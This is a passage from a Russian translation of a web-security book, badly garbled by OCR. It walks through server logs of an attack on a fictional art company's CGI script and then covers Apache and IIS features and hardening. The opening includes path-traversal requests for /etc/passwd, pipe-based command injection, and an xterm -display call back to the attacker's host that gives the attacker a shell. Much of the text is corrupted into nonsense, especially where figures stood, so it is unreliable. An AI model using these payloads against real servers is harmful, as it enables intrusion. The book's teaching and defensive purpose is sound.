10.0.1.21 - - [31/Oct/2OO1:O3:O6:21 +0530] "GET
/index. cgi?раде«/ »./.♦/../../../../../../.. /etc/pasewd HTTP/1.0" 200 723
Взломщик воспользовался броузером для передачи запроса http: / /www. aane-art. сою/ index.cgi?pagee/../../../../../../../../../etc/pasewd. В ответ на этот запрос в броузере отображается полное содержимое файла /etc/passwd, как показано на рис. 4.
Но это еще не все. Существует еще один недостаток. Используя ограниченные знания Unix и Perl, взломщик может выполнить на Web-сервере произвольные команды. Следующие два запроса (Group (f)) иллюстрируют эту возможность:
10.0.1.21 -[31/0ct/2001:03:07:01 +053 0] "GET /ind«x.C9i?page-|18*-lai/10aidt0avhichtxteni|
HTTP/1.0" 200 1228
10.0.1.21 - - |31/0ct/2001:03sl7:29 +0530] "GET /index.cgi?page«(xtenn*-
display*10.0.i.21:0.0»26| HTTP/1.0" 200
Puc. 5. Результат выполнения команд Is -la, id и which xtem
Взломщик не пытается открыть произвольный файл, а использует в запросе символ конвейера (|) и конкретную последовательность команд. Тогда вместо открытия реального файла интерпретатор Perl создает дескриптор файла и связывает его с данными, сгенерированными с помощью команд, указанных в параметре запроса. Первый из двух последних запросов взломщика имеет следующий вид:
http://wvw • acme-art .сот/index.苗£ ? ggu= 1184»laf/l0aid%0awhlch*xter* |
Взломщик воспользовался сразу тремя командами Unix:
Is -la / id which xterm
Обратите внимание на использование конвейера в качестве значения параметра раде=. Команды отделяются друг от друга шестнадцатеричным символом ОА перевода строки. На рис. 5 показано содержимое окна броузера на компьютере взломщика.
На экране отображается список файлов корневого каталога сервера, полученный с помощью команды к- -1а /, эффективный пользовательский идентификатор процесса, запустившего сценарий index.cgi, полученный с использованием команды id, и путь к программе xterm, предоставленный командой which xtenn. Теперь взломщик может запускать любые команды на Web-сервере с правами учетной записи nobody. Когда ему надоело выполнять одиночные команды, он решил воспользоваться программой xterm для получения интерактивного доступа к оболочке Web-сервера. Последний запрос, обработанный Web-сервером, был связан с попыткой установки с помощью утилиты xterm обратного соединения с компьютером взломщика. Для этого использовался следующий запрос:
http: //vww. acme-art ・ сов/index. cgi?page= | xterm*-displays 10.0.1.21:0.0+1261
Команда, указанная в адресе URL, преобразуется к виду xterm -display 10.0.1. 21:0.0 &. В результате ее выполнения создается терминальное окно xterm, которое отображается на экране взломщика по адресу 10.0.1.21:0.0 (рис. 6).
Рис. 6. Запуск утилиты xterm и получение интерактивного доступа к командной оболочке
Теперь взломщик имеет полный интерактивный доступ к системе компании Acme Art, Inc. Далее не будет рассматриваться системный журнал, однако то, что необходимо, мы изучили. Несмотря на аудит безопасности, брандмауэры, жестБсую политибсу управления паролями и т.д., взломщик получил доступ к Web-серверу, воспользовавшись тривиальными оплошностями разработчиков и уязвимостью конструкций URL к атакам с использованием одного лишь протокола HTTP.
ГЛАВА 1
Языки программирования для Web; XXI столетия
На «и лон,
Город или место наслаждений 卫 чувственности, а зачастую пороков и разложения.
Место пленения или изгнания.
Город, s котором отрицается духовность, а чувственные наслаждения становятся превыше всего.
Введение
Жители Вавилона были известны введением денежного обращения и различными гедонистическими авантюрами. Однако, в отличие от других цивилизаций, существовавших в те времена, они разговаривали на одном языке. Это позволило им создать замечательные сооружения, в частности одно из семи чудес света ——висячие сады Семирамиды.
Однако согласно Библии языковое единство послужило также причиной гибели Вавилона. В своем высокомерии его жители пытались построить башню до небес, чтобы стать равными Богу. Но Господь рассердился и сделал так, чтобы все заговорили на разных языках. В результате вавилоняне не могли больше общаться друг с другом, строительство башни прекратилось, а достигнуть небес так и не удалось. С тех пор эта башня называется Вавилонской, а слово ,,Вавилон,* стало синонимом беспорядка. Это в точности соответствует тому, чем стала Internet и всемирная паутина Web — империей беспорядка и ненужных языков, каждый из которых может внести свой вклад в ее падение.
В 1995 году повсеместное распространение Web выглядело не более чем мечтой, а языки программирования и технологии Web напоминали детские игры. В результате хакеры просто не интересовались проникновением на Web-узлы. Однако в настоящее время картина изменилась и единичные успешные реализации сменились большим многообразием языков и технологий, готовых для применения хакерами. И они ежедневно ,,ощипывают,* ничего не подозревающих граждан, компании, организации или правительственные учреждения. Сегодня в обстановке непрекращающегося кибсртср- роризма остается только одно: "послать вора для поимки вора**. Поэтому отбросьте любые предвзятые представления об обеспечении безопасности. Без понимания правил игры придется просто плыть по течению.
В этой главе не содержится подробного описания языков программирования для Web. Ее основная цель заключается в представлении Web -программистам и специалистам по безопасности языков, используемых в настоящее время, функциональных возможностей, синтаксиса и потенциальных рисков, связанных с применением этих языков. Для усвоения материала последующих глав нужно понять концепции, которые описываются в более ранних главах. Читайте не спеша, при необходимости перечитывайте один и тот же материал повторно и не волнуйтесь, если за содержанием не удается уследить сразу. Скорее всего, это произойдет постепенно в процессе чтения.
Введение
Web-серверы и серверы баз данных — это сердце и мозг всей структуры Internet. Каждый импульс исходит от Web-сервера, а любая операция сохранения или извлечения данных выполняется путем обращения к базе данных. Таким образом, оба компонента играют чрезвычайно важную роль в стабильной работе любого Internet- приложения и именно поэтому являются излюбленной целью хакеров. Для обеспечения безопасности информационных активов необходимо иметь представление о тех базовых технологиях, которые положены в основу Web-приложений и в некоторых случаях предопределяют их восприимчивость к действиям хакеров.
В этой главе детально проанализированы два наиболее часто используемых сегодня Web-сервера: Internet Information Server (IIS) корпорации Microsoft и Apache от Apache Software Foundation. Здесь также рассматриваются две наиболее распространенные в настоящее время системы управления базами данных: Microsoft SQL Server и Oracle 9i. В ходе обсуждения будут отмечены многочисленные Пподводные камни** использования этих непростых технологий, особенности их функционирования и обеспечения безопасности, а также то, как они все вместе стимулируют развитие электронной коммерции и неизменно притягивают к себе внимание хакеров.
Web-серверы
Всякий раз, когда броузеру необходимо подключиться к какому-либо Web-узлу в Internet (или в корпоративной сети), он устанавливает связь с Web-сервером. Такой сервер ожидает поступления запросов из сети и отправляет инициатору запроса определенные данные.
Сервер Apache
На Web-узле организации Apache Software Foundation утверждается:'内ache является наиболее популярным в Internet Web-сервером с апреля 1996 года**. Популярность сервера Apache (http://www.apache.org) в значительной степени объясняется тремя факторами: поддержкой целого ряда платформ, функциональными возможностями и ценой. Web-сервер 库 ache работает практически на всех популярных платформах, включая NetBSD, Digital UNIX, AIX, OS/2, Windows 3.x, SCO, HPUX, Novell NetWare, Macintosh, Be OS, Windows NT, Linux, VMS, AS/4001 Windows 95, FreeBSD, IRIX и Solaris. Кроме того, этот Web-сервер всегда предоставляет большой спектр возможностей, позволяя быстро разрабатывать и усовершенствовать любой Web-узел. И последний, но не менее важный аспект заключается в том, что Web-сервер Apache распространяется по самой выгодной цене: бесплатно!
Учитывая, что сегодня более 56% всех Web-серверов реализованы на базе пакета Apache (по данным Netcraft 2001), неудивительно повышенное внимание к нему хакеров. Любая новая возможность или платформа, поддерживаемая Apache, увеличивает шансы злоумышленников по использованию уязвимых мест в программном коде.
В этой главе обсуждаете只 сервер Apache версии 2.0.32. Он предоставляет несколько возможностей, некорректное использование которых, как правило, приводит к нарушению безопасности.
Виртуальные узлы.
Серверные включения.
Генерация динамического содержимого с использованием интерфейса CGI.
Обработчики.
Переменные окружения.
Отображение URL на файловую систему (http : / /httpd * apache. org/docs-2.0/).
Будучи столь востребованным, сервер Apache привлекает людей разного рода. Многие из них пытаются найти различные его изъяны и воспользоваться ими.
Виртуальные узлы
Нынешний рост Internet, а также миллионы Web-страниц, обслуживаемых в этой сети, возможно, никогда не стали бы реальностью, если бы не концепция виртуальных узлов. Она позволяет одному компьютеру одновременно обслуживать множество Web-узлов В результате один физический компьютер, на котором функционирует один Web-сервер, может обслуживать страницы огромного числа Web-узлов. Это достигается за счет применения двух механизмов адресации, в одном из которых используются имена доменов (name-based), а во втором — IP-адреса (IP-based).
Использование имен доменов
В рамках обслуживания виртуальных узлов на базе имен пользователь должен предоставить уникальное имя для каждого HTTP-запроса. Как правило, в качестве такого имени используется имя DNS, указываемое в строке URL клиентского Web-броузера. Службой DNS хостинговой компании поддерживаются записи CNAME на DNS-сервере, причем все они ссылаются на один и тот же IP-адрес. Так, если выполнить поиск по имени трех виртуальных Web-узлов, обслуживаемых на одной системе, то будет получен один и тот же IP-адрес. Например, выполним поиск следующего японского Web- узла (узел 1):
С:\> nslookup vww. jр.exauple.сои
Server:二口Known
Address: 192.168.0.1
Nоn-authoritative answer: Name: www. jp.exauple.сои Address: 172.16.30.222
Теперь выполним поиск бразильского Web-узла (узел 2):
С: \> nslookup www.bz.example.com Server: UnKnown
Address: 192.168.0.1
Non-authoritative answer: Name: www.bz.example.com Address: 172.16.30.222
И наконец, выполним поиск американского Web-узла (узел 3):
С:\> nslookup www.us.example.com Server: UnKnown
Address: 192.168.0.1
Non-authoritative answer:
Name: uvw.us.example.com
Address: 172.16.30.222
Обратите внимание, что все три Web-узла имеют один и тот же IP-адрес. Обнаружить виртуальные узлы со схемой адресации на основе имен довольно просто, а вот виртуальные узлы на базе IP-адресов ——гораздо сложнее.
Итак, соединяясь с Web-узлом, который подцерживается наряду с другими узлами на одной и той же системе, необходимо использовать следующий адрес URL:
http: //vw • us ・ ex&nple • coin
Броузер генерирует HTTP-запрос GET, в котором истинный адресат указан в строке заголовка Host:.
GET / HTTP/1.1
Accept: */*
Accept-Language: @n-us
Accept-tncoding; gzip, deflate
User-Agent: Nozllla/4.0 (ccspatible;MSIE 6.0; Windows NT 5.0)
Host: w¥.as.example.cob
Connection: Keep-Alive
Получив такой запрос, Web-сервер вьщеляет строку
Host: ww.us.example.com
и передает запрос на страницу виртуальному узлу www.us.example.com. В результате Web-сервер отображает лишь те Web- страницы, которые относятся к узлу www.us.example.com, а не множество страниц других Web-узлов, подцерживаемых на этой же системе.
Использование IP-адресов
При подцержке виртуальных узлов на базе IP-адресов для каждого виртуального Web-узла на сервере должен быть зарезервирован уникальный IP-адрес. В данном случае используется тот же принцип, что и при создании вторичных IP-адресов в системах Windows и IP-псевдонимов в системах Unix.
IP-псевдонммы в системе UNIX
Пользователям Unix не обойтись без использования псевдонимов IP. Как правило, при этом часто используется команда ifconfig. Например, чтобы добавить три IP- адреса к интерфейсу ethO (учитывая, что базовым IP-адресом является 172.16.30.222), можно использовать следующие команды;
(root€jack /opt]l /sbin/ifconfig ethO:0 172.16.30.50
[root!jack /opt]I /sbin/ifconfig ethO:1 172.16.30.51
[root!jack /opt]f /sbin/ifconfig ethO:2 172.16,30,52
(root€)ack /opt]I /sbin/ifconfig -a
ethO Link encapsEthernet HWaddr 00:50s04:91:D5:A3
inet &ddr:172.U.30.2 Bcast:172.16.30.255 Kask:255.255.0.0
UP BROADCAST RIWING KTU:1500 Netric:1
RX packets:33272 errors:20 droppediO overruns:20 frajre:20
TX packets:22851 errors:0 dropped:0 overruna:0 carrier:0
colli81ont:309 txqueuelen:100
Interrupt:3 Base address:0x300
ethO: 0 Link encap: Ethernet HWaddr 00:50:04:91:D5:A3
inet addrsl72.U.30.50 BcMtsl72.1(.30.255 Mask:255.255.0.0
UP BROADCAST RUWING MTU:1500 Metric:1
Interrupt:3 Base address:0x300
eth0:l Link encap: Ethernet HWaddr 00:50:04:91:D5:A3
inet addr:172.16.30.51 Bcut:172.16.30.255 Hask:255.255.0.0
UP BROADCAST RIWING MTU:1500 Metric:1
Interrupt:3 Base address:0x300
etho:2 Link encap:Ethernet EWaddr 0Ot5OsO4:91:D5:AO
inet addx:172.1€.30.52 Bcait:172.16.30.255 Masks2S5.255.0.0
UP BROADCAST RUWING MTU:1500 Metric:1
Interrupt:3 Base address:0x300
Все три новых IP-адреса связаны с интерфейсом ethO:x, указывая на то, что интерфейс ethO имеет три новых псевдонима: 172.16*30.50, .51 и .52
В отличие от механизма поддержки виртуальных узлов на базе имени домена, при использовании схемы адресации на основе IP-адресов предполагается, что с каждым IP-адресом должно быть связано уникальное имя DNS. Другими словами, каждому созданному IP-адресу должна соответствовать запись службы DNS. Для реализации этого требования обращайтесь к соответствующим разделам документации.
Теперь каждый IP-адрес нужно ассоциировать с соответствующим Web-узлом. Для этого необходимо внести изменения в файл httpd.conf сервера Apache, воспользовавшись директивой Virtual Но st.
<VirtualHost 172.16.30.50>
ServerAdain webmaster?nail. ахдврХе. com
DocgetRoot /opt/ap&che/jp
ServerMaae vww.)p.exanple.coa
ErrorLog /opt/apache/jp/logs/error^log
TransferLog /opt/apache/jp/logs/access log
</VirtualHost>
И так далее для каждого виртуального узла.
В отличие от виртуальных узлов, поддерживаемых на основе имени домена, установить наличие узла, поддержка которого осуществляется на базе IP-адреса, значительно сложнее, поскольку каждый Web-узел обладает своим отдельным и уникальным IP-адресом. Пожалуй, единственный способ такой идентификации заключается в проверке МАС-адреса для каадого IP-адреса. Для этого злоумышленнику потребуется “прослушивать” локальную сеть. Однако наиболее важно то, что механизм обнаружения существует, поскольку в данном случае у каждого виртуального IP-адреса будет один и тот же МАС-адрсс.
Поддержка виртуальных узлов сама по себе не является угрозой для безопасности. Тем не менее это может оказаться дополнительным фактором риска, поскольку при взломе любого Web-узла данной системы под угрозой окажутся также и все остальные узлы.
Серверные включения
Как отмечалось в главе 1, серверные включения (Server Side Includes — SSI) — это директивы, которые включаются в HTML-страницы и обеспечивают вьшолнение требуемых действий на сервере. Технология SSI аналогична CGI и, как правило, используется для генерации динамического содержимого Web-страницы. В настоящее время сервером 小ache серверные включения SSI по умолчанию не поддерживаются, и это правильно. Однако зачастую на Web-узлах эта возможность все же используется. В результате Web-сервер обрабатывает все файлы с расширением ・ shtal с учетом требований спецификации SSL
Вопросы влияния технологии SSI на обеспечение безопасности рассматривались в главе 1, поэтому сейчас не стоит повторять их еще раз. Однако если серверные включения все же используются, удостоверьтесь в том, что запрещено использование директивы exec cmd. Это можно осуществить, воспользовавшись аргументом IncludesNOEXEC директивы Options файла httpd.conf сервера Apache.
CGI
Как уже упоминалось в главе 1, интерфейс CGI (Common Gateway Interface) — это один из базовых механизмов, используемых для обмена динамическим содержимым
в Web. Сервером Apache поддерживаются различные технологии CGI, а установка соответствующих модулей не вызывает особых проблем.
Директива ScriptAlias
Директива ScriptAlias файла httpd.conf сообщает серверу Apache о том, что в указанных далее каталогах содержатся выполняемые сценарии. Директива ScriptAlias имеет примерно следующий вид:
ScriptAlias /cgi-bin/ /opt/apache/cgi-bin
С помощью этой директивы определяется, что любой запрос, в котором указан каталог /cgi-bin, на самом деле относится к каталогу /opt/apache/cgi-bin. Такие директивы, как ScriptAlias, являются одним из способов обеспечения безопасности Web- сервера и позволяют наложить ограничения на то, где могут выполняться сценарии.
Обработчики
Обработчик (в терминах Web-сервера) — это механизм, предназначенный для обработки Web-запросов на основе расширения файла. Многообразие обработчиков определяется разнообразием типов файлов, которые в настоящее время можно использовать в Internet. При обработке некоторых файлов (.jsp, .asp и т.д.) требуется выполнять определенные действия (что обеспечивается соответствующими механизмами Java, ASP и тд.). С момента появления Apache версии 1.1 в зависимости от имени файла можно явно задать действия, которые будут выполняться при его обработке, а не использовать значения, жестко заданные по умолчанию. Благодаря этому для файлов с нестандартными именами разработчики могут самостоятельно указать необходимый обработчик.
Среди встроенных обработчиков имеется также обработчик, заданный по умолчанию и предназначенный для обработки статического содержимого, в качестве которого обычно используется код HTML. Кроме того, существуют и другие стандартные обработчики, в том числе mod asis, mod cgi, mod imap, mod info, mod^status и cod negotiation. Хотя все они являются встроенными, подключить их можно и вручную, воспользовавшись директивой Action. Эта директива позволяет Web-серверу обрабатывать определенные запросы с помощью заданного сценария CGL Так, например, для того чтобы обработка всех файлов с расширением .stu выполнялась с использованием специально разработанного сценария Perl, необходимо добавить в файл httpd.conf следующие строки:
AddHandlor my-file-type .stu
Action my-file-type /cgi-bin/stu.pl
Для получения более подробной информации о сервере Apache и ознакомления с теми мерами, которые позволят сделать его более защищенным, обращайтесь по адресу: http://httpd.apache.Org/doce-2.0/misc/security_tips.htinl.
Internet Information Server компании Microsoft
Компания Microsoft уже достаточно давно рассматривает Web-сервер IIS как важнейшее звено своей Internet-стратегии. Microsoft настолько уверена в сервере IIS, что начиная с версии NT 4.0 включает его в состав операционной системы Windows. И хотя повсеместное распространение сервера IIS по-прежнему недостижимо, а на фоне сервера Apache он выглядит еще более бледно, тем не менее этот программный продукт действительно заслуживает внимания. Будет ли он доминировать на рынке и удастся
ли ему завоевать цифровой интерактивный мир, как этого хотелось бы Microsoft? Ответ на этот вопрос можно получить только со временем. Однако используемая по умолчанию конфигурация IIS может оказаться настоящим рогом изобилия различных уязвимых мест, существующих в системе безопасности.
В данном разделе рассматриваются отдельные компоненты, оказывающие существенное влияние на безопасность сервера IIS, а также его основные недостатки, которые позволяют злоумышленнику превратить брандмауэр в настоящий швейцарский сыр.
Приложения ISAPI
Если у вас возник вопрос: пЧто оказывает наибольшее влияние на безопасность Web-сервера !JS?wt то единственным правильным ответом будет следующий: ,,Прило- жения, поддерживающие интерфейс ISAPI (Internet Server Application Programming Interface)*1. Интерфейс ISAPI позволяет расширить функциональность Web-сервера IIS и обеспечивает возможность создания собственных программ обработки данных и запросов, передаваемых на Web-сервер, и манипулирования ими. 10)оме того, с помощью ISAPI-приложений можно нотдавливатьп все пакеты, поступающие на Web- сервер, и выполнять их предварительную обработку. Такой подход позволяет повысить контроль запросов и предотвращает атаки на Web-серверы. Парадоксально, но именно предварительная обработка пакетов открывает новые возможности для нарушения защиты Web-сервера. Как же это происходит? По умолчанию вместе с сервером IIS устанавливается большое число фильтров ISAPI, которые можно использовать для проникновения на Web-сервер. Почему это возможно? По закону больших чисел. Имея достаточно точек входа на Web-сервер, хакер сможет проникнуть на него, а “виновными” в наличии множества таких путей оказываются фильтры ISAPI.
К огромному числу фильтров ISAPI, существующих в стандартном комплекте сервера IIS 5.0 для Windows 2000, относятся и представленные в табл. 2.1.
Таблица 2.1. Фильтры ISAPI
Расширение ISAPI
Путь для выполнения
Описание
.asa
С: \winnt\system32 \inetsrv\ asp.dll
Active Server Page — серверное расширение, обеспечивающее возможность динамической генерации содержимого
.asp
C:\winnt\sy8tem32\inetsrv\ asp.dll
Active Server Page — серверное расширение, обеспечивающее возможность динамической генерации содержимого
.cdx
C; \winnt\systejn32\lnetsrv\ asp. dll
Active Server Page — серверное расширение, обеспечивающее возможность динамической генерации содержимого
.cer
C:\vinnt\systeni32\inet8rv\
asp. dll
Active Server Page — серверное расширение, обеспечивающее возможность динамической генерации содержимого
.htw
C:\winnt\system32\inetsrv\ isB.dll
Расширение индексного сервера (Index Server)
.ida
C: \vinnt\syste]!i32\inet8rv\ idq.dll
Расширение индексного сервера (Index Server)
.idq
C:\winnt\system32\inetsrv\ idq.dll
Расширение запросов данных Internet и индексного сервера
Окончание табл.
Расширение
ISAPI
Путь для выполнения
Описание
• ide
C:\vinnt\systen32\inet8rv\ httpodbc.dll
Средство связи с базами данных через Internet — ЮС (Internet Database Connector)
.htx
C:\winnt\system32\inetsrv\ httpodbc.dll
Средство связи с базами данных через Internet — IDC (Internet Database Connector). Использует программный интерфейс ODBC для взаимодействия с такими базами данных, как SQL Server
.printer
C: \winnt\sy8t«D32\K8W3prt. dll
Средство печати через Internet
.shtm
C:\vinnt\systen32\inet8tv\ ssinc.dll
Включения SSI. Обеспечивают возможность динамической генерации содержимого Web
•shtml
C: \winnt \ system3 2 \ inet srv\ ssinc.dll
Включения SSI. Обеспечивают возможность динамической генерации содержимого Web
.stn
C: \winnt \ system3 2 \ inet srv\ ssinc.dll
Включения SSL Обеспечивают возможность динамической генерации содержимого Web
.htr
C:\vinnt\syste«32\inet8rv\ ism.dll
Администрирование через Web. Предоставляет средства выполнения административных функций через Web, например изменения паролей
Хотя фильтры 1SAPI позволяют расширить список функциональных возможностей Web-сервер а, они приводят также к росту количества потенциальных уязвимых мест в его подсистеме зашить: Возьмем, например, фильтры .idq и .ida. Именно они в немалой степени несут ответственность за успех ,,вирусов-червейп Code Red и Nimda, ущерб от деятельности которых составляет более чем $100 000 на каждую из компаний списка Fortune 1000. ,,Червьн Code Red использовал условие переполнения буфера в расширении .ida. Уязвимость фильтра .ida индексного сервера позволила этому вирусу передавать запрос на Web-сервер и инициировать переполнение буфера библиотеки DLL, обрабатывающей этот запрос. В результате на удаленной системе можно было выполнять команды. Весь фокус этой атаки в том, что ее "детонатор” содержался в самом HTTP-запросе. Поэтому такой запрос был почти законным и пропускался практически всеми брандмауэрами и proxy-серверами, которые встречались на его пути. Результаты превзошли все ожидания: хакер смог выполнять команды на удаленных системах и управлять ими.
Проблема с фильтрами имеет свое решение: нужно отслеживать все выпускаемые компанией Microsoft модули обновления и сразу же их устанавливать. Однако можно воспользоваться и другим способом (позволяющим существенно повысить общую защищенность системы). Можно удалить с Web-сервера все ненужные фильтры ISAPI, воспользовавшись диспетчером служб Internet (Internet Services Manager). Для этого перейдите в диалоговое окно свойств запушенного Web-сервера. Затем перейдите во вкладку IS API Filters и удалите ненужный фильтр (или все фильтры сразу). Далее перейдите во вкладку Home Directory и щелкните на кнопке Configuration. Как видно на рис. 2.1, в появившемся диалоговом окне содержится перечень фильтров и соответствующих им приложений, используемых по умолчанию. И наконец, по очереди удалите все ненужные строки.
Замечание. То же самое можно выполнить и в диалоговом окне Web Master Properties. Для этого щелкните правой кнопкой мыши на имени системы в окне диспетчера служб Internet, выберите команду Properties и повторите все предыдущие шаги. Это позволит удалить ненужные соответствия и фильтры IS API для всех существующих Web-серверов.
隆神“ *,"“ I,x*iqiir・wwi隆神“ *,"“ I,x*iqiir・wwiApp Mappings j -i<?」“ • I E ^c]App Mappings j -i<?」“ • I E ^c]wsEffwsEffe \w*a f \5И№пзг*мйМж <> LViMMItT4j«lM<n44dl L:\W1MnS)4tem32\dQ(fl E.SW1MMT \S niRi3S^<wtwA«*& • E;\WKT \S v^3^thf^»v • £:\WWWT gn(wn3^wt*)A«aci. E ZINXTSSYMaZSmtvAMU. E \WM“2QaZ\rai*«Wi Лe \w*a f \5И№пзг*мйМж <> LViMMItT4j«lM<n44dl L:\W1MnS)4tem32\dQ(fl E.SW1MMT \S niRi3S^<wtwA«*& • E;\WKT \S v^3^thf^»v • £:\WWWT gn(wn3^wt*)A«aci. E ZINXTSSYMaZSmtvAMU. E \WM“2QaZ\rai*«Wi Л(HI 此 AD、 g 口 №亚 GETJ4A0* GETMAOa 6〕*叱 GE IMAD. GETUEAD〕 G口尸OST卜(HI 此 AD、 g 口 №亚 GETJ4A0* GETMAOa 6〕*叱 GE IMAD. GETUEAD〕 G口尸OST卜E SXv1MiT\SyvlMi3Z^«taf»4i»<xtic<> aR»DN5A-JE SXv1MiT\SyvlMi3Z^«taf»4i»<xtic<> aR»DN5A-J£МЖМГ\5*еЫ1ш^мгс(1 GETFQSf£МЖМГ\5*еЫ1ш^мгс(1 GETFQSfРис. 2.1.Рис. 2.1.E SW^N 1 \Sy#em32vletmVviwic Л к M^raiM," -^>^\^»5▲^^ fE SW^N 1 \Sy#em32vletmVviwic Л к M^raiM," -^>^\^»5▲^^ fФильтры и соответствующие имФильтры и соответствующие имприложения сервера IISприложения сервера IIS
隆神“ *,"“ I,x*iqiir・wwi
隆神“ *,"“ I,x*iqiir・wwi
App Mappings j -i<?」“ • I E ^c]
App Mappings j -i<?」“ • I E ^c]
wsEff
wsEff
e \w*a f \5И№пзг*мйМж <> LViMMItT4j«lM<n44dl L:\W1MnS)4tem32\dQ(fl E.SW1MMT \S niRi3S^<wtwA«*& • E;\WKT \S v^3^thf^»v • £:\WWWT gn(wn3^wt*)A«aci. E ZINXTSSYMaZSmtvAMU. E \WM“2QaZ\rai*«Wi Л
e \w*a f \5И№пзг*мйМж <> LViMMItT4j«lM<n44dl L:\W1MnS)4tem32\dQ(fl E.SW1MMT \S niRi3S^<wtwA«*& • E;\WKT \S v^3^thf^»v • £:\WWWT gn(wn3^wt*)A«aci. E ZINXTSSYMaZSmtvAMU. E \WM“2QaZ\rai*«Wi Л
(HI 此 AD、 g 口 №亚 GETJ4A0* GETMAOa 6〕*叱 GE IMAD. GETUEAD〕 G口尸OST卜
(HI 此 AD、 g 口 №亚 GETJ4A0* GETMAOa 6〕*叱 GE IMAD. GETUEAD〕 G口尸OST卜
E SXv1MiT\SyvlMi3Z^«taf»4i»<xtic<> aR»DN5A-J
E SXv1MiT\SyvlMi3Z^«taf»4i»<xtic<> aR»DN5A-J
£МЖМГ\5*еЫ1ш^мгс(1 GETFQSf
£МЖМГ\5*еЫ1ш^мгс(1 GETFQSf
Рис. 2.1.
Рис. 2.1.
E SW^N 1 \Sy#em32vletmVviwic Л к M^raiM," -^>^\^»5▲^^ f
E SW^N 1 \Sy#em32vletmVviwic Л к M^raiM," -^>^\^»5▲^^ f
Фильтры и соответствующие им
Фильтры и соответствующие им
приложения сервера IIS
приложения сервера IIS
Кроме того, отдельно разработанные или стандартные фильтры IS API могут быть источником потенциальной угрозы. Фильтры IS API — это программы, которые выполняют роль промежуточного слоя, перехватывая поступающие запросы еще до того, как к их обработке приступит серверное I SA РI - приложение. Удалить или отключить можно следующие стандартные фильтры ISAPI:
sspifilt
Compression
mdSfilt
fpexedll.dll
Для их удаления просто отредактируйте свойства в соответствующих диалоговых окнах.
Виртуальные каталоги
Сервером IIS поддерживаются виртуальные каталоги, которые аналогичны средствам связывания системы UNIX. С помощью этих каталогов администратор может связать какой-либо каталог корневого каталога Web-сервера с другим каталогом, находящимся на жестком диске или на удаленной системе. К сожалению, используемые по умолчанию виртуальные каталоги нужно удалить. Для этого просто воспользуйтесь утилитой Internet Services Manager, щелкните на элементе, соответствующем требуемому Web-серверу, а затем удалите ненужные виртуальные каталоги.
Как правило, после установки сервера IIS 5.0 можно удалить следующие виртуальные каталоги.
Scripts. Если нужно воспользоваться возможностями технологий CGI, ASP или ISAPI, то должен существовать каталог с правами на выполнение сценариев. Однако всегда лучше удалить такой каталог, поскольку он, как правило, и является целью взломщиков (рис. 2.2).
vti bin. Требуется для поддержки средств FrontPage.
Printers. Обычно используется для печати в Web.
Рис. 2.2. Фильтры ISA Pl, которые можно удалитьРис. 2.2. Фильтры ISA Pl, которые можно удалить
Рис. 2.2. Фильтры ISA Pl, которые можно удалить
Рис. 2.2. Фильтры ISA Pl, которые можно удалить
Эти и другие виртуальные каталоги можно удалить, не опасаясь какого-либо нарушения функционирования системы. Однако каждая система уникальна, поэтому перед удалением каталогов обязательно согласуйте свои действия с системным администратором.
Файлы примеров
Как и при использовании любого другого приложения, в состав сервера IIS включено множество файлов с примерами. Как правило, эти файлы облегчают разработку пользовательских модулей и помогают разобраться с теми или иными функциональными возможностями системы. Однако, поскольку эти файлы устанавливаются по умолчанию и предназначены для разработчиков, зачастую в них содержатся изъяны, представляющие угрозу для безопасности. В системе Windows 2000, под управлением которой запущен сервер IIS 5.0, по умолчанию устанавливаются следующие файлы.
ОписаниеФайлы примеров IISДокументация IISОписаниеФайлы примеров IISДокументация IISРазмещение по умолчанию с:\inetpub\iissamples c:\winnt\help\iishelpРазмещение по умолчанию с:\inetpub\iissamples c:\winnt\help\iishelpВиртуальный каталогMlSSanples\IISHelpВиртуальный каталогMlSSanples\IISHelp
Описание
Файлы примеров IIS
Документация IIS
Описание
Файлы примеров IIS
Документация IIS
Размещение по умолчанию с:\inetpub\iissamples c:\winnt\help\iishelp
Размещение по умолчанию с:\inetpub\iissamples c:\winnt\help\iishelp
Виртуальный каталог
MlSSanples
\IISHelp
Виртуальный каталог
MlSSanples
\IISHelp
Доступ к данным c:\progran files\coMK>n files\system\B8adc \MSADC
Общее правило, которого следует придерживаться при каждой установке, заключается в необходимости удаления таких файлов или, как минимум, определения для них списка управления доступом (Access Control List — ACL) с помощью разрешений файловой системы NTFS. Удаление потенциально опасных файлов и каталогов — это самое простое и эффективное средство защиты, однако на практике такой подход не всегда применим. Например, если в приложении используются определенные стандартные компоненты, то удаление файлов может привести к нарушению его функционирования. В качестве альтернативы можно ограничить доступ к определенным файлам и предоставлять его только тем пользователям, которым это действительно необходимо, например администраторам (т.е. разработчикам).
Разрешения для доступа к файлам NTFS назначить очень просто, однако при некорректном использовании они могут нарушить работу соответствующих приложений. Для правильного применения списков ACL необходимо ответить на два вопроса.
Какие файлы доступны для данного Web-узла? (Возможно, в некоторых случаях придется исходить из того, что должны быть доступны все файлы. Естественно, это потребует определения соответствующих списков ACL.)
Какие разрешения требуется определить, чтобы обеспечить необходимую функциональность?
Если известны ответы на эти вопросы, назначить списки ACL — пара пустяков. На рис. 2.3 приведен пример неудачно назначенных разрешений для доступа к каталогу iisamples, которые используются по умолчанию. Разрешать полный доступ всем пользователям —это чрезвычайно опасный подход.
Однако такую ситуацию легко исправить. Просто удалите из списка Name группу Everyone, щелкнув на кнопке Remove. Затем добавьте учетные записи IUSR, щелкнув на кнопке Add, и предоставьте им право только чтения и, возможно, выполнения (в зависимости от конкретной ситуации). Как видно из рис. 2.4, права доступа к каталогу iisamples должны быть максимально ограничены.
1ngЦмч М>\'^
DCDnnDв/й/лв朋 6DCDnnDв/й/лв朋 6Ful ControlFul ControlModifyRead Us“List - --Ч -c<>^5RMdModifyRead Us“List - --Ч -c<>^5RMdnDDDnDпо ВТПnDDDnDпо ВТП「У ] Cwi^ I —「У ] Cwi^ I —Рис. 2.3. Свойства каталога iisamplesРис. 2.3. Свойства каталога iisamplesPuc. 2.4. Ограниченные права доступа к каталогу iistaplesPuc. 2.4. Ограниченные права доступа к каталогу iistaplesI c IMVBMHRMWIBM^ л
DCDnnDв/й/лв朋 6
DCDnnDв/й/лв朋 6
Ful Control
Ful Control
Modify
Read Us“
List - --Ч -c<>^5
RMd
Modify
Read Us“
List - --Ч -c<>^5
RMd
nDDDnDпо ВТП
nDDDnDпо ВТП
「У ] Cwi^ I —
「У ] Cwi^ I —
Рис. 2.3. Свойства каталога iisamples
Рис. 2.3. Свойства каталога iisamples
Puc. 2.4. Ограниченные права доступа к каталогу iistaples
Puc. 2.4. Ограниченные права доступа к каталогу iistaples
